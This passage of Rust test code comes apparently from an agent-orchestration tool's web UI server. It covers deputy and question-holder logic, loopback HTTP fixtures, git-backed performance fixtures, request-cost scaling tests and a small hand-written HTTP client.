11774            "release-watch".to_owned(),
11775            "stuck?".to_owned(),
11776            String::new(),
11777            vec!["hold".to_owned()],
11778        );
11779        assert_eq!(holder_of(&r, None), Some("nobody"));
11780        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11781        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11782        // A choice-less bump notice is nobody's question at all.
11783        r.deputy = None;
11784        r.seat = "bump".to_owned();
11785        assert_eq!(holder_of(&r, None), None);
11786
11787        // A merge approval is the same: nobody until a deputy is attached
11788        // and alive, never a silent "no holder".
11789        let mut m = Question::new(
11790            "run".to_owned(),
11791            crate::land::APPROVAL_NODE.to_owned(),
11792            "land".to_owned(),
11793            "merge?".to_owned(),
11794            String::new(),
11795            Vec::new(),
11796        );
11797        assert_eq!(holder_of(&m, None), Some("nobody"));
11798        assert_eq!(
11799            holder_of(&m, Some(&fresh)),
11800            Some("asker"),
11801            "a live explicit wait is a listener even before a deputy is attached"
11802        );
11803        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11804        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11805        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11806        assert_eq!(holder_of(&m, None), Some("nobody"));
11807    }
11808
11809    fn stub_config() -> Config {
11810        // An explicit roster, so the result never depends on which agent CLIs
11811        // this machine has installed.
11812        Config {
11813            agents: vec![crate::config::AgentSpec {
11814                id: "stub".to_owned(),
11815                kind: AgentKind::Command,
11816                model: None,
11817                command: vec!["true".to_owned()],
11818                extra_args: Vec::new(),
11819                env: Default::default(),
11820                prompt_delivery: None,
11821                max_turn_secs: None,
11822            }],
11823            ..Config::default()
11824        }
11825    }
11826
11827    fn plain_question(seat: &str) -> Question {
11828        Question::new(
11829            String::new(),
11830            "n".to_owned(),
11831            seat.to_owned(),
11832            "s".to_owned(),
11833            String::new(),
11834            Vec::new(),
11835        )
11836    }
11837
11838    #[test]
11839    fn deputies_enabled_follows_the_config() {
11840        let on = stub_config();
11841        assert!(crate::deputy::can_start(Some(&on), ""));
11842        assert!(crate::deputy::can_start(Some(&on), "stub"));
11843        let mut off = on.clone();
11844        off.daemon.max_deputies = 0;
11845        assert!(!crate::deputy::can_start(Some(&off), ""));
11846        let mut empty = on;
11847        empty.agents.clear();
11848        assert!(!crate::deputy::can_start(Some(&empty), ""));
11849        assert!(!crate::deputy::can_start(None, ""));
11850    }
11851
11852    #[test]
11853    fn question_views_load_the_config_once() {
11854        let dir = TempDir::new().unwrap();
11855        let store = ask::Questions::at(dir.path().to_path_buf());
11856        let mut with_deputy = plain_question("b");
11857        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11858        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11859
11860        let calls = std::cell::Cell::new(0usize);
11861        let views = question_views(qs.clone(), &store, || {
11862            calls.set(calls.get() + 1);
11863            Some(stub_config())
11864        });
11865        assert_eq!(calls.get(), 1);
11866        assert_eq!(views.len(), 3);
11867        for (v, q) in views.iter().zip(&qs) {
11868            assert_eq!(
11869                v.deputies_enabled,
11870                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11871            );
11872        }
11873
11874        let views = question_views(qs, &store, || None);
11875        assert!(views.iter().all(|v| !v.deputies_enabled));
11876
11877        let calls = std::cell::Cell::new(0usize);
11878        let views = question_views(Vec::new(), &store, || {
11879            calls.set(calls.get() + 1);
11880            None
11881        });
11882        assert!(views.is_empty());
11883        assert_eq!(calls.get(), 0);
11884    }
11885
11886    use pretty_assertions::assert_eq;
11887    use serde_json::Value;
11888    use tempfile::TempDir;
11889    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11890
11891    use super::*;
11892
11893    // Embedded assets preserve checkout line endings. Source assertions use
11894    // logical lines, independent of the platform's checkout conversion.
11895    static APP_JS: std::sync::LazyLock<String> =
11896        std::sync::LazyLock::new(|| super::APP_JS.replace("\r\n", "\n"));
11897    static APP_CSS: std::sync::LazyLock<String> =
11898        std::sync::LazyLock::new(|| super::APP_CSS.replace("\r\n", "\n"));
11899    use crate::config::Config;
11900    use crate::queue::Source;
11901
11902    /// How many 10ms steps a settle loop takes before it calls a stall a
11903    /// stall - thirty seconds.
11904    ///
11905    /// These loops wait on real `sh` subprocesses, and the machine that runs
11906    /// the gate runs several suites at once, so a two-second budget was not
11907    /// waiting for the reply, it was racing the scheduler: two of these
11908    /// tests failed under that load with the turn simply not landed yet.
11909    /// This is a hang guard, not a latency assertion - every loop breaks the
11910    /// moment its condition holds, so a generous cap costs an idle machine
11911    /// nothing and still fails a genuine hang instead of hanging the suite.
11912    const SETTLE_STEPS: usize = 3_000;
11913
11914    /// A home with a queue and a runs directory, and a router serving it on
11915    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11916    /// dependency, not ours - so the tests drive a real socket, which has the
11917    /// side benefit of asserting the status line and content types the phone
11918    /// actually receives.
11919    struct Fixture {
11920        home: TempDir,
11921        addr: SocketAddr,
11922    }
11923
11924    impl Fixture {
11925        async fn start() -> Self {
11926            Self::with_loop(launch_idle).await
11927        }
11928
11929        /// A fixture whose loop is `launch`.
11930        async fn with_loop(launch: Launch) -> Self {
11931            let home = TempDir::new().expect("temp home");
11932            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11933            Self { home, addr }
11934        }
11935
11936        /// A fixture whose `ui.repo` is a real directory rather than the
11937        /// usual placeholder - for the routes that read config off it
11938        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11939        async fn with_repo(repo: PathBuf) -> Self {
11940            let home = TempDir::new().expect("temp home");
11941            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11942            Self { home, addr }
11943        }
11944
11945        /// As [`Fixture::with_repo`], with the machine-config file the
11946        /// settings screen reads and writes.
11947        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11948            let home = TempDir::new().expect("temp home");
11949            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11950            Self { home, addr }
11951        }
11952
11953        async fn serve(
11954            home: &FsPath,
11955            repo: PathBuf,
11956            launch: Launch,
11957            machine: Option<PathBuf>,
11958        ) -> SocketAddr {
11959            let queue = Queue::at(home.join("queue"));
11960            let runs = home.join("runs");
11961            std::fs::create_dir_all(&runs).expect("runs dir");
11962            let worktrees = home.join("wt").join("magi");
11963            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11964            let ui = Ui::new(
11965                queue,
11966                Questions::at(home.join("questions")),
11967                Talks::at(home.join("talks")),
11968                runs,
11969                home.to_path_buf(),
11970                repo,
11971            )
11972            .with_worktrees_root(worktrees)
11973            .with_machine_config(machine)
11974            .with_launch(launch);
11975            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11976                .await
11977                .expect("bind loopback");
11978            let addr = listener.local_addr().expect("local addr");
11979            tokio::spawn(async move {
11980                let router = ui
11981                    .router()
11982                    .layer(axum::middleware::from_fn(request_cost::observe));
11983                let _ = axum::serve(listener, router).await;
11984            });
11985            addr
11986        }
11987
11988        fn queue(&self) -> Queue {
11989            Queue::at(self.home.path().join("queue"))
11990        }
11991
11992        fn questions(&self) -> Questions {
11993            Questions::at(self.home.path().join("questions"))
11994        }
11995
11996        fn talks(&self) -> Talks {
11997            Talks::at(self.home.path().join("talks"))
11998        }
11999
12000        fn runs(&self) -> PathBuf {
12001            self.home.path().join("runs")
12002        }
12003
12004        async fn get(&self, path: &str) -> Res {
12005            request(self.addr, "GET", path, None).await
12006        }
12007
12008        /// The status and headers without the body, which is how the front end
12009        /// preflights a panel: a sandboxed frame is opaque to the parent
12010        /// document, so the only way to tell "no panel" from "a panel that
12011        /// rendered blank" is to ask before mounting.
12012        async fn head(&self, path: &str) -> Res {
12013            request(self.addr, "HEAD", path, None).await
12014        }
12015
12016        async fn post(&self, path: &str, body: Option<&str>) -> Res {
12017            request(self.addr, "POST", path, body).await
12018        }
12019
12020        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
12021            request_with(self.addr, "GET", path, None, extra).await
12022        }
12023
12024        async fn delete(&self, path: &str) -> Res {
12025            request(self.addr, "DELETE", path, None).await
12026        }
12027
12028        async fn put(&self, path: &str, body: &str) -> Res {
12029            request(self.addr, "PUT", path, Some(body)).await
12030        }
12031
12032        /// `POST` a raw body with its own headers - see [`request_bytes`].
12033        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
12034            request_bytes(self.addr, path, headers, body).await
12035        }
12036    }
12037
12038    /// Real tracking refs exercise the successful discovery path (including
12039    /// extraction), rather than counting cheap failures on a placeholder repo.
12040    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
12041        let tmp = TempDir::new().unwrap();
12042        let mut repos = Vec::new();
12043        for name in ["one", "two"] {
12044            let repo = tmp.path().join(name);
12045            let origin = tmp.path().join(format!("{name}.git"));
12046            std::fs::create_dir_all(&repo).unwrap();
12047            crate::git::git(&repo, &["init", "-b", "main"])
12048                .await
12049                .unwrap();
12050            std::fs::write(
12051                repo.join("magi.toml"),
12052                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
12053            )
12054            .unwrap();
12055            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
12056            crate::git::git(
12057                &repo,
12058                &[
12059                    "-c",
12060                    "user.name=fixture",
12061                    "-c",
12062                    "user.email=fixture@example.invalid",
12063                    "commit",
12064                    "-m",
12065                    "fixture",
12066                ],
12067            )
12068            .await
12069            .unwrap();
12070            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
12071                .await
12072                .unwrap();
12073            crate::git::git(
12074                &repo,
12075                &["remote", "add", "origin", origin.to_str().unwrap()],
12076            )
12077            .await
12078            .unwrap();
12079            crate::git::git(&repo, &["push", "origin", "main"])
12080                .await
12081                .unwrap();
12082            crate::git::git(
12083                &repo,
12084                &[
12085                    "symbolic-ref",
12086                    "refs/remotes/origin/HEAD",
12087                    "refs/remotes/origin/main",
12088                ],
12089            )
12090            .await
12091            .unwrap();
12092            let (cfg, _) = Config::discover(&repo, None).unwrap();
12093            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
12094            repos.push(repo);
12095        }
12096        let repos: [PathBuf; 2] = repos.try_into().unwrap();
12097        (tmp, repos)
12098    }
12099
12100    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
12101        let (tmp, repos) = performance_repositories().await;
12102        let machine = tmp.path().join("machine.toml");
12103        std::fs::write(&machine, "").unwrap();
12104        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
12105        (tmp, repos, fx)
12106    }
12107
12108    fn seed_performance(
12109        fx: &Fixture,
12110        repos: &[PathBuf; 2],
12111        questions: usize,
12112        runs: usize,
12113        items: usize,
12114    ) {
12115        // Saving states directly never starts a run or changes MAGI_HOME.
12116        for i in fx.questions().list().len()..questions {
12117            let mut question = Question::new(
12118                "20261001-000000-0000".into(),
12119                "implement".into(),
12120                "impl-A".into(),
12121                format!("question {i}"),
12122                "context".into(),
12123                vec!["yes".into(), "no".into()],
12124            );
12125            question.id = format!("20261003-000000-{i:04x}");
12126            fx.questions().put(&mut question).unwrap();
12127        }
12128        for i in run_ids(&fx.runs()).len()..runs {
12129            write_run_repo(
12130                &fx.runs(),
12131                &format!("20261001-000000-{i:04x}"),
12132                RunStatus::Ready,
12133                repos[i % 2].to_str().unwrap(),
12134            );
12135        }
12136        for i in fx.talks().list().len()..items {
12137            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
12138            let mut talk = fx.talks().get(&id).unwrap();
12139            talk.repo = repos[i % 2].clone();
12140            fx.talks().put(&mut talk).unwrap();
12141            let mut task = crate::queue::Task::new(
12142                format!("task {i}"),
12143                "instruction".into(),
12144                repos[i % 2].clone(),
12145                crate::queue::Source::Agent {
12146                    run: id,
12147                    node: crate::queue::CHAT_NODE.into(),
12148                },
12149            );
12150            task.id = format!("20261004-000000-{i:04x}");
12151            fx.queue().put(&mut task).unwrap();
12152            // Notices has a production retention cap; seed up to that cap.
12153            if i < crate::notices::CAP {
12154                Notices::at(fx.home.path().join("notifications"))
12155                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
12156                    .unwrap();
12157            }
12158        }
12159        assert_eq!(fx.questions().list().len(), questions);
12160        assert_eq!(run_ids(&fx.runs()).len(), runs);
12161        assert_eq!(fx.talks().list().len(), items);
12162        assert_eq!(fx.queue().list().len(), items);
12163        assert_eq!(
12164            Notices::at(fx.home.path().join("notifications"))
12165                .list()
12166                .len(),
12167            items.min(crate::notices::CAP)
12168        );
12169    }
12170
12171    #[tokio::test]
12172    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
12173        let home = TempDir::new().unwrap();
12174        let root = home.path().canonicalize().unwrap();
12175        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
12176        let fx = Fixture { home, addr };
12177        let repo = root.as_path().join("archive-repo");
12178        std::fs::create_dir(&repo).unwrap();
12179        crate::git::git(&repo, &["init", "-b", "main"])
12180            .await
12181            .unwrap();
12182        crate::git::git(&repo, &["config", "user.name", "Fixture"])
12183            .await
12184            .unwrap();
12185        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
12186            .await
12187            .unwrap();
12188        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
12189            .await
12190            .unwrap();
12191        std::fs::write(repo.join("source"), "base").unwrap();
12192        crate::git::git(&repo, &["add", "."]).await.unwrap();
12193        crate::git::git(&repo, &["commit", "-m", "base"])
12194            .await
12195            .unwrap();
12196        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
12197        std::fs::write(repo.join("source"), "archived review").unwrap();
12198        crate::git::git(&repo, &["commit", "-am", "review"])
12199            .await
12200            .unwrap();
12201        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
12202        let mut config = Config::default();
12203        config.graph.worktree_root = Some(root.as_path().join("copies"));
12204        let mut state = RunState::new(
12205            repo.clone(),
12206            "main".into(),
12207            base.clone(),
12208            "archive".into(),
12209            config,
12210        );
12211        state.id = "20260101-000000-ef05".into();
12212        state.status = RunStatus::Ready;
12213        state.save_under(root.as_path()).unwrap();
12214        let evidence =
12215            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
12216                .await
12217                .unwrap();
12218        let base_evidence =
12219            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
12220                .await
12221                .unwrap();
12222        let source = state.worktree_root().join("review-1");
12223        let mut contents = std::collections::BTreeMap::new();
12224        contents.insert(
12225            repo.join("logs/HEAD"),
12226            format!("{base} {head} fixture\n").into_bytes(),
12227        );
12228        let record = serde_json::json!({
12229            "version":1, "run":state.id, "source":source, "head":head,
12230            "evidence":evidence, "admin":{}, "admin_contents":contents,
12231            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
12232        });
12233        std::fs::write(
12234            fx.runs()
12235                .join(&state.id)
12236                .join("artifacts/eviction-review-1.json"),
12237            serde_json::to_vec(&record).unwrap(),
12238        )
12239        .unwrap();
12240        std::fs::remove_dir_all(&repo).unwrap();
12241        let url = format!("/api/runs/{}/seat-evidence", state.id);
12242        let list = fx.get(&url).await;
12243        assert_eq!(list.status, 200, "{}", list.body);
12244        assert_eq!(list.json()[&head], "review-1");
12245        let patch = fx.get(&format!("{url}/{head}")).await;
12246        assert_eq!(patch.status, 200, "{}", patch.body);
12247        assert!(patch.body.contains("+archived review"));
12248        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
12249        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
12250        assert_eq!(fx.get(&url).await.status, 404);
12251        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
12252    }
12253
12254    fn request_counts(res: &Res) -> (usize, usize) {
12255        assert_eq!(res.status, 200, "{}", res.body);
12256        (
12257            res.header("x-test-discoveries").unwrap().parse().unwrap(),
12258            res.header("x-test-git").unwrap().parse().unwrap(),
12259        )
12260    }
12261
12262    #[tokio::test]
12263    async fn list_request_cost_is_independent_of_record_count() {
12264        let mut previous = None;
12265        for n in [4, 60] {
12266            // Health refreshes configuration on a detached thread. Run it
12267            // last and give each scale its own repository/cache so that
12268            // refresh cannot warm the next measured cold extraction.
12269            let (_tmp, repos, fx) = performance_fixture().await;
12270            seed_performance(&fx, &repos, n, n, n);
12271            let mut costs = Vec::new();
12272            for (path, discoveries) in [
12273                ("/api/questions", 1),
12274                ("/api/talks", 0),
12275                ("/api/stats", 1),
12276                ("/api/health", 0),
12277            ] {
12278                // Equal cold extraction caches at both scales; this also
12279                // bounds first-request cost instead of only warmed requests.
12280                for repo in &repos {
12281                    let cache = repo.join(".git/magi/config");
12282                    if cache.exists() {
12283                        std::fs::remove_dir_all(cache).unwrap();
12284                    }
12285                }
12286                let cost = request_counts(&fx.get(path).await);
12287                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
12288                assert_eq!(cost.0, discoveries, "{path}, N={n}");
12289                assert!(
12290                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
12291                    "{path}: {cost:?}"
12292                );
12293                costs.push(cost);
12294            }
12295            if let Some(previous) = previous {
12296                assert_eq!(costs, previous);
12297            }
12298            previous = Some(costs);
12299        }
12300        // runs reads shared row inputs and probes process liveness; queue
12301        // builds one blocker inventory; notifications reads its own store.
12302        // None discovers configuration or spawns git per item.
12303    }
12304
12305    /// The same handler path without transport, so the deterministic cause
12306    /// can also be checked in environments that prohibit binding sockets.
12307    #[tokio::test]
12308    async fn list_handler_cost_without_transport() {
12309        let mut previous = None;
12310        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
12311            // As in the transport test, isolate each scale from the previous
12312            // health request's detached configuration refresh.
12313            let (_tmp, repos) = performance_repositories().await;
12314            let fx = Fixture {
12315                home: TempDir::new().unwrap(),
12316                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12317            };
12318            let ui = Arc::new(
12319                Ui::new(
12320                    fx.queue(),
12321                    fx.questions(),
12322                    fx.talks(),
12323                    fx.runs(),
12324                    fx.home.path().to_path_buf(),
12325                    repos[0].clone(),
12326                )
12327                .with_worktrees_root(fx.home.path().join("wt")),
12328            );
12329            seed_performance(&fx, &repos, n, runs, items);
12330            let mut costs = Vec::new();
12331            for endpoint in ["questions", "talks", "stats", "health"] {
12332                for repo in &repos {
12333                    let cache = repo.join(".git/magi/config");
12334                    if cache.exists() {
12335                        std::fs::remove_dir_all(cache).unwrap();
12336                    }
12337                }
12338                let (_, cost) = request_cost::measure(async {
12339                    match endpoint {
12340                        "questions" => {
12341                            let _ = questions_list(State(ui.clone())).await.unwrap();
12342                        }
12343                        "talks" => {
12344                            let _ = talks_list(
12345                                State(ui.clone()),
12346                                Query(ListQuery {
12347                                    limit: None,
12348                                    ids: None,
12349                                }),
12350                                header::HeaderMap::new(),
12351                            )
12352                            .await
12353                            .unwrap();
12354                        }
12355                        "health" => {
12356                            let _ = health(State(ui.clone())).await.unwrap();
12357                        }
12358                        _ => {
12359                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
12360                                .await
12361                                .unwrap();
12362                        }
12363                    }
12364                })
12365                .await;
12366                eprintln!("{endpoint} handler N={n}: {cost:?}");
12367                assert_eq!(
12368                    cost.0,
12369                    if matches!(endpoint, "talks" | "health") {
12370                        0
12371                    } else {
12372                        1
12373                    },
12374                    "{endpoint}"
12375                );
12376                assert!(
12377                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
12378                    "{endpoint}: {cost:?}"
12379                );
12380                costs.push(cost);
12381            }
12382            if let Some(previous) = previous {
12383                assert_eq!(costs, previous);
12384            }
12385            previous = Some(costs);
12386        }
12387    }
12388
12389    #[tokio::test]
12390    async fn monitor_and_periodic_update_recheck_git_cost() {
12391        let (tmp, repos) = performance_repositories().await;
12392        let fx = Fixture {
12393            home: TempDir::new().unwrap(),
12394            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12395        };
12396        let ui = Arc::new(
12397            Ui::new(
12398                fx.queue(),
12399                fx.questions(),
12400                fx.talks(),
12401                fx.runs(),
12402                fx.home.path().to_path_buf(),
12403                repos[0].clone(),
12404            )
12405            .with_worktrees_root(fx.home.path().join("wt")),
12406        );
12407        let cache = repos[0].join(".git/magi/config");
12408        if cache.exists() {
12409            std::fs::remove_dir_all(&cache).unwrap();
12410        }
12411
12412        let (_, monitor_cost) = request_cost::measure(async {
12413            let mut snapshot = None;
12414            for _ in 0..20 {
12415                let state = Arc::clone(&ui);
12416                snapshot = Some(
12417                    tokio::task::spawn_blocking(request_cost::carry(move || {
12418                        monitor_scan(&state, snapshot)
12419                    }))
12420                    .await
12421                    .unwrap(),
12422                );
12423            }
12424        })
12425        .await;
12426        assert_eq!(monitor_cost, (0, 0));
12427
12428        // The idle update worker, unlike the revision monitor, reads config.
12429        let (_, cold_cost) = request_cost::measure(async {
12430            for _ in 0..20 {
12431                assert_eq!(update_recheck_once(&ui).await, UPDATE_RECHECK_POLL_MAX);
12432            }
12433        })
12434        .await;
12435        assert_eq!(cold_cost, (20, 21));
12436
12437        // Move `origin/main` via a separate clone without touching `repos[0]`'s
12438        // working tree, then fetch; the next scan must immediately observe the
12439        // new committed `magi.toml`.
12440        let origin = tmp.path().join("one.git");
12441        let pusher = tmp.path().join("pusher-one");
12442        crate::git::git(
12443            tmp.path(),
12444            &[
12445                "clone",
12446                "-b",
12447                "main",
12448                origin.to_str().unwrap(),
12449                pusher.to_str().unwrap(),
12450            ],
12451        )
12452        .await
12453        .unwrap();
12454        std::fs::write(
12455            pusher.join("magi.toml"),
12456            format!("{MOCK_AGENT_TOML}\n[graph]\nimplementers = 3\n[repos]\nroots = []\n[update]\nmode = \"off\"\ninterval = \"1m\"\n[verify]\ne2e = []\ngate = []\n"),
12457        )
12458        .unwrap();
12459        crate::git::git(&pusher, &["add", "magi.toml"])
12460            .await
12461            .unwrap();
12462        crate::git::git(
12463            &pusher,
12464            &[
12465                "-c",
12466                "user.name=fixture",
12467                "-c",
12468                "user.email=fixture@example.invalid",
12469                "commit",
12470                "-m",
12471                "bump implementers",
12472            ],
12473        )
12474        .await
12475        .unwrap();
12476        crate::git::git(&pusher, &["push", "origin", "main"])
12477            .await
12478            .unwrap();
12479        crate::git::git(&repos[0], &["fetch", "origin"])
12480            .await
12481            .unwrap();
12482
12483        let (observed, moved_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12484        assert_eq!(observed, UPDATE_RECHECK_POLL_MIN);
12485        assert_eq!(moved_cost, (1, 2));
12486        let (observed_again, warm_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12487        assert_eq!(observed_again, observed);
12488        assert_eq!(warm_cost, (1, 1));
12489    }
12490
12491    #[tokio::test]
12492    async fn list_request_cost_scopes_do_not_mix() {
12493        let (_tmp, repos, fx) = performance_fixture().await;
12494        seed_performance(&fx, &repos, 10, 0, 10);
12495        let (questions, talks, notices) = tokio::join!(
12496            fx.get("/api/questions"),
12497            fx.get("/api/talks"),
12498            fx.get("/api/notifications")
12499        );
12500        assert_eq!(request_counts(&questions).0, 1);
12501        // Cached summaries perform no config discovery or git work, even
12502        // alongside the questions request that still discovers config.
12503        assert_eq!(request_counts(&talks), (0, 0));
12504        assert_eq!(request_counts(&notices), (0, 0));
12505    }
12506
12507    #[tokio::test]
12508    async fn list_endpoints_large_home_responses() {
12509        check_large_home_endpoints(false).await;
12510    }
12511
12512    #[tokio::test]
12513    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
12514    async fn list_endpoints_large_home_ceiling() {
12515        check_large_home_endpoints(true).await;
12516    }
12517
12518    async fn check_large_home_endpoints(timed: bool) {
12519        let (_tmp, repos, fx) = performance_fixture().await;
12520        seed_performance(&fx, &repos, 200, 300, 400);
12521        let mut failures = Vec::new();
12522        // app.js boot/change loads plus the initial dashboard, settings and
12523        // repo picker. SSE is a persistent stream, not a bounded GET.
12524        for path in [
12525            "/",
12526            "/app.js",
12527            "/app.css",
12528            "/api/questions",
12529            "/api/runs?limit=300",
12530            "/api/queue",
12531            "/api/talks",
12532            "/api/notifications",
12533            "/api/health",
12534            "/api/stats",
12535            "/api/loop",
12536            "/api/settings",
12537            "/api/repos",
12538        ] {
12539            let start = std::time::Instant::now();
12540            let result = if timed {
12541                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
12542            } else {
12543                Ok(fx.get(path).await)
12544            };
12545            let elapsed = start.elapsed();
12546            eprintln!("{path}: {elapsed:?}");
12547            match result {
12548                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
12549                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
12550                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
12551            }
12552        }
12553        assert!(failures.is_empty(), "{}", failures.join("\n"));
12554    }
12555
12556    struct Res {
12557        status: u16,
12558        headers: String,
12559        /// The header block with its original casing, for the assertions that
12560        /// compare a header *value* rather than looking for a name. Lowercasing
12561        /// a CSP would hide a directive spelled with a capital letter, and the
12562        /// whole point of that test is that the string is exactly right.
12563        head: String,
12564        body: String,
12565        /// The body before any UTF-8 handling, for the routes that serve
12566        /// something other than text. A panel asset is a PNG as often as not,
12567        /// and `from_utf8_lossy` would silently replace half of it.
12568        bytes: Vec<u8>,
12569    }
12570
12571    impl Res {
12572        fn json(&self) -> Value {
12573            serde_json::from_str(&self.body)
12574                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
12575        }
12576
12577        /// One header's value verbatim, or `None` when it was not sent.
12578        fn header(&self, name: &str) -> Option<&str> {
12579            self.head.lines().find_map(|line| {
12580                let (key, value) = line.split_once(':')?;
12581                key.trim()
12582                    .eq_ignore_ascii_case(name)
12583                    .then(|| value.trim_start().trim_end_matches('\r'))
12584            })
12585        }
12586    }
12587
12588    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
12589    /// be read to end-of-stream without parsing framing.
12590    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
12591        request_with(addr, method, path, body, &[]).await
12592    }
12593
12594    /// As [`request`], with extra request headers - conditional GETs need
12595    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
12596    /// worse than one that sets none.
12597    async fn request_with(
12598        addr: SocketAddr,
12599        method: &str,
12600        path: &str,
12601        body: Option<&str>,
12602        extra: &[(&str, &str)],
12603    ) -> Res {
12604        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12605        for (name, value) in extra {
12606            head.push_str(&format!("{name}: {value}\r\n"));
12607        }
12608        if let Some(body) = body {
12609            head.push_str("Content-Type: application/json\r\n");
12610            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
12611        }
12612        head.push_str("\r\n");
12613        if let Some(body) = body {
12614            head.push_str(body);
12615        }
12616        let mut socket = tokio::net::TcpStream::connect(addr)
12617            .await
12618            .expect("connect to the test server");
12619        socket
12620            .write_all(head.as_bytes())
12621            .await
12622            .expect("write request");
12623        let mut raw = Vec::new();
12624        socket.read_to_end(&mut raw).await.expect("read response");
12625        // Split on the raw bytes rather than on a lossy string, so a binary
12626        // body survives to be compared byte for byte.
12627        let split = raw
12628            .windows(4)
12629            .position(|w| w == b"\r\n\r\n")
12630            .expect("a header block");
12631        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12632        let bytes = raw[split + 4..].to_vec();
12633        let status = head
12634            .lines()
12635            .next()
12636            .and_then(|line| line.split_whitespace().nth(1))
12637            .and_then(|code| code.parse().ok())
12638            .expect("a status line");
12639        Res {
12640            status,
12641            headers: head.to_lowercase(),
12642            head,
12643            body: String::from_utf8_lossy(&bytes).into_owned(),
12644            bytes,
12645        }
12646    }
12647
12648    /// A `POST` carrying a raw binary body and its own headers, for the
12649    /// attachment upload route - `request_with` only ever sends
12650    /// `Content-Type: application/json`, which is wrong for an image and
12651    /// would corrupt anything not valid UTF-8 by round-tripping it through
12652    /// `&str` first.
12653    async fn request_bytes(
12654        addr: SocketAddr,
12655        path: &str,
12656        headers: &[(&str, &str)],
12657        body: &[u8],
12658    ) -> Res {
12659        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12660        for (name, value) in headers {
12661            head.push_str(&format!("{name}: {value}\r\n"));
12662        }
12663        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12664        let mut socket = tokio::net::TcpStream::connect(addr)
12665            .await
12666            .expect("connect to the test server");
12667        socket
12668            .write_all(head.as_bytes())
12669            .await
12670            .expect("write request head");
12671        socket.write_all(body).await.expect("write request body");
12672        let mut raw = Vec::new();
12673        socket.read_to_end(&mut raw).await.expect("read response");
12674        let split = raw
12675            .windows(4)
12676            .position(|w| w == b"\r\n\r\n")
12677            .expect("a header block");
12678        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12679        let bytes = raw[split + 4..].to_vec();
12680        let status = head
12681            .lines()
12682            .next()
12683            .and_then(|line| line.split_whitespace().nth(1))
12684            .and_then(|code| code.parse().ok())
12685            .expect("a status line");
12686        Res {
12687            status,
12688            headers: head.to_lowercase(),
12689            head,
12690            body: String::from_utf8_lossy(&bytes).into_owned(),
12691            bytes,
12692        }
12693    }
12694
12695    /// A run on disk, without touching the process-global magi home.
12696    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12697        let mut state = RunState::new(
12698            PathBuf::from("/repo/magi"),
12699            "main".to_owned(),
12700            "0123456789abcdef".to_owned(),
